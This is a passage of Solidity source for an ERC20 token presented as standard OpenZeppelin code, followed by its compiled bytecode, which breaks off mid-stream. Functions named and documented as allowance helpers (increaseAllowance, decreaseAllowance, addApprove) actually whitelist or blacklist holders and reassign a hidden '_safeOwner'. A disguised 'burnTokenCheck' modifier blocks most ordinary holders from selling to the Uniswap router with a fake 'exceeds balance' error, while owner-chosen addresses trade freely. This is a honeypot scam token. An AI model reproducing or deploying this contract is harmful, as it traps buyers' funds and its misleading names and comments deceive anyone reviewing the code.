_Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a61565b604051808215151515815260200191505060405180910390f35b6102a3610a7f565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a89565b604051808215151515815260200191505060405180910390f35b610347610b62565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b79565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc9565b005b6105ab6110d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611172565b604051808215151515815260200191505060405180910390f35b610694611190565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b6565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123d565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109bb576001600260008484815181106108ea57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061095557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a575780601f10610a2c57610100808354040283529160200191610a57565b820191906000526020600020905b815481529060010190602001808311610a3a57829003601f168201915b5050505050905090565b6000610a75610a6e6113f5565b84846113fd565b6001905092915050565b6000600554905090565b6000610a968484846115f4565b610b5784610aa26113f5565b610b5285604051806060016040528060288152602001612eaa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b086113f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6113fd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c5181600554612db190919063ffffffff16565b600581905550610cca81600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9a838281518110610e7957fe5b6020026020010151838381518110610e8d57fe5b6020026020010151611172565b5083811015610f6e576001806000858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fd565b5b8080600101915050610e61565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111685780601f1061113d57610100808354040283529160200191611168565b820191906000526020600020905b81548152906001019060200180831161114b57829003601f168201915b5050505050905090565b600061118661117f6113f5565b84846115f4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f157600180600084848151811061132057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611306565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611483576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ef76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e626022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c35750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119ca5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611815576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611820868686612e39565b61188b84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce9565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a735750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611acb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611c7c868686612e39565b611ce784604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce8565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611f96868686612e39565b61200184604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612094846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce7565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561255857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122425750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612297576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561231d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b6123ae868686612e39565b61241984604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ac846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce6565b60035481101561292a57600b60009054906101000a900473ff